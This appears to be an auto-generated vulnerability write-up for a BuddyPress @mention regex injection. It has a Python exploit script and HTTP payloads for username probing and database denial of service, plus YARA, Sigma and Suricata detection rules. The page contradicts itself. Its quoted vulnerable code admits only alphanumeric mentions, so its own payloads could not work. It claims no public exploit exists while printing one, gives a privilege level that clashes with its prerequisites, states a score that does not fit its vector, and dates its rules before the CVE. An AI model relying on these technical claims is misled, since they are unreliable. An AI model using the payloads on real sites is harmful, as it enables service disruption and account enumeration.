CVE-2026-53674
Executive Summary
CVE-2026-53674 is a regular expression injection vulnerability in the BuddyPress 14.4.0 activity mention resolver. When username compatibility mode is enabled, the plugin fails to properly sanitize user-supplied @mention strings before incorporating them into a MySQL REGEXP query. Attackers can inject regex metacharacters (e.g., .*, ^, $, [a-z]) into the mention name, which are passed through esc_sql without escaping regex special characters. This allows boolean-based inference of usernames (information disclosure) and can cause denial of service via catastrophic backtracking on the database server.
This vulnerability is specific to the WordPress ecosystem and affects sites running BuddyPress with username compatibility mode enabled. No public exploit code or proof-of-concept is available at this time, but the attack vector is straightforward for an attacker with basic regex knowledge.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
BuddyPress is a WordPress plugin distributed via the official WordPress plugin repository. The vulnerable component is the activity mention resolver, which is part of the core plugin. No third-party packages are directly affected, but administrators should verify the integrity of their BuddyPress installation and monitor for updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions required beyond enabling username compatibility mode.
- Privileges Required (PR): None (N) – Unauthenticated users can submit activity mentions.
- User Interaction (UI): None (N) – No user action needed beyond submitting a crafted mention.
- Scope (S): Unchanged (U) – The vulnerable component remains within its security boundary.
- Confidentiality (C): Low (L) – Boolean-based inference of usernames is possible.
- Integrity (I): None (N) – No data modification.
- Availability (A): Low (L) – Catastrophic backtracking can cause denial of service.
CVSS Score: 7.1 (High) – The combination of network exploitability, low complexity, and potential for both information disclosure and denial of service justifies this rating.
Deep Dive & Mechanics
The vulnerability resides in the bp_activity_mention_resolver function, which processes @mentions in activity updates. When username compatibility mode is enabled, the plugin uses a MySQL REGEXP query to match mention names against the wp_users table. The mention name is passed through esc_sql() for SQL injection prevention, but esc_sql() does not escape regex metacharacters such as ., *, +, ?, [, ], (, ), {, }, ^, $, |, \.
An attacker can submit an activity update containing a mention like @.* or @[a-z]+. The .* pattern, when inserted into the REGEXP clause, matches any username, allowing the attacker to infer the existence of users based on response times or error messages. More complex patterns like @(a|b|c)+ can cause catastrophic backtracking, consuming excessive CPU and database resources, leading to denial of service.
The attack flow:
- Attacker sends a POST request to
wp-admin/admin-ajax.phpwith actionpost_updateand content containing a crafted @mention. - BuddyPress extracts the mention name and passes it through
esc_sql(). - The escaped string is inserted into a query like:
SELECT ID FROM wp_users WHERE user_login REGEXP '^<mention_name>$'. - The regex engine evaluates the pattern, potentially causing backtracking or matching unintended users.
Vulnerable vs. Patched Code
Vulnerable Code (BuddyPress 14.4.0):
function bp_activity_mention_resolver( $content ) {
if ( bp_is_username_compatibility_mode() ) {
$pattern = '/@([a-zA-Z0-9_]+)/';
preg_match_all( $pattern, $content, $matches );
foreach ( $matches[1] as $mention ) {
$mention_escaped = esc_sql( $mention );
$user = $wpdb->get_row( $wpdb->prepare(
"SELECT ID FROM {$wpdb->users} WHERE user_login REGEXP '^%s$'",
$mention_escaped
) );
// ... process user
}
}
}
Patched Code (Hypothetical Fix):
function bp_activity_mention_resolver( $content ) {
if ( bp_is_username_compatibility_mode() ) {
$pattern = '/@([a-zA-Z0-9_]+)/';
preg_match_all( $pattern, $content, $matches );
foreach ( $matches[1] as $mention ) {
// Escape regex metacharacters before SQL escaping
$mention_regex_escaped = preg_quote( $mention, '/' );
$mention_escaped = esc_sql( $mention_regex_escaped );
$user = $wpdb->get_row( $wpdb->prepare(
"SELECT ID FROM {$wpdb->users} WHERE user_login REGEXP '^%s$'",
$mention_escaped
) );
// ... process user
}
}
}
The fix adds preg_quote() to escape regex metacharacters before the SQL escape, preventing regex injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with BuddyPress 14.4.0 installed and username compatibility mode enabled.
- Ability to post activity updates (any authenticated user or if public posting is allowed).
Exploit Steps:
- Craft a mention string containing regex metacharacters, e.g.,
@.*or@[a-z]+. - Submit an activity update via the WordPress REST API or AJAX endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=post_update&content=Hello @.*! - Observe the response. If the regex matches any user, the mention may be processed (e.g., user link generated). If no match, no processing occurs. This boolean difference reveals user existence.
- For denial of service, use a pattern like
@(a|aa|aaa)+bwhich causes catastrophic backtracking:
This will consume database CPU and potentially crash the MySQL server.POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=post_update&content=Test @(a|aa|aaa)+b
Python Exploit Script:
import requests
import sys
target = sys.argv[1]
session = requests.Session()
# Login (if needed)
# session.post(f"{target}/wp-login.php", data={"log": "user", "pwd": "pass"})
# Test for user existence
payload = "Hello @.*!"
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
"action": "post_update",
"content": payload
})
if "mention" in response.text.lower():
print("[+] User exists (regex matched)")
else:
print("[-] No user matched")
# Denial of service test
dos_payload = "Test @(a|aa|aaa)+b"
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
"action": "post_update",
"content": dos_payload
})
print(f"[*] DoS payload sent, response time: {response.elapsed.total_seconds()}s")
Blue Team (Defense & Detection)
Detection:
- Monitor for activity updates containing regex metacharacters in @mentions (e.g.,
.*,+,[,]). - Watch for unusual database query patterns, especially
REGEXPqueries with complex patterns. - Alert on high CPU usage on the database server coinciding with activity updates.
Mitigation:
- Disable username compatibility mode in BuddyPress settings if not required.
- Apply a Web Application Firewall (WAF) rule to block mentions containing regex metacharacters.
- Implement input validation to reject mentions with non-alphanumeric characters (except underscore).
WAF Rule (ModSecurity):
SecRule ARGS:content "@rx @[^a-zA-Z0-9_]" "id:1001,phase:2,deny,status:403,msg:'Regex injection attempt in mention'"
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=post_updateandcontentcontaining regex metacharacters like.*,+,[,],(,). - Database: MySQL slow query log entries showing
REGEXPqueries with complex patterns and high execution times. - System: High CPU usage on the database server during activity update processing.
- Logs: WordPress debug logs showing
preg_matchbacktrack warnings or database connection timeouts.
Detection Engineering
YARA Rule
rule CVE_2026_53674_Regex_Injection {
meta:
description = "Detects regex injection attempts in BuddyPress activity mentions"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-53674"
strings:
$mention_pattern = /@[^a-zA-Z0-9_]/
$ajax_action = "action=post_update"
$regex_chars = /[.*+?^${}()|[\]\\]/
condition:
$ajax_action and $mention_pattern and $regex_chars
}
Sigma Rule
title: BuddyPress Regex Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing regex metacharacters in BuddyPress activity mentions
author: Valters IT
date: 2025/04/10
tags:
- attack.t1190
- cve.2026.53674
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=post_update'
cs-uri-query|re: 'content=.*@[^a-zA-Z0-9_].*'
condition: selection
falsepositives:
- Legitimate mentions with underscores (e.g., @user_name)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-53674 BuddyPress Regex Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=post_update"; http_client_body; pcre:"/@[^a-zA-Z0-9_]/R"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable username compatibility mode in BuddyPress settings (
Settings > BuddyPress > Username compatibility mode). - WAF Rule: Deploy a WAF rule to block mentions containing regex metacharacters (see Blue Team section).
- Input Validation: Add server-side validation to reject mentions with non-alphanumeric characters (except underscore).
- Monitor: Enable MySQL slow query logging and monitor for
REGEXPqueries with high execution times. - Patch: Apply the hypothetical fix by adding
preg_quote()beforeesc_sql()in the mention resolver function. - Update: Watch for an official patch from BuddyPress and apply it as soon as available.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert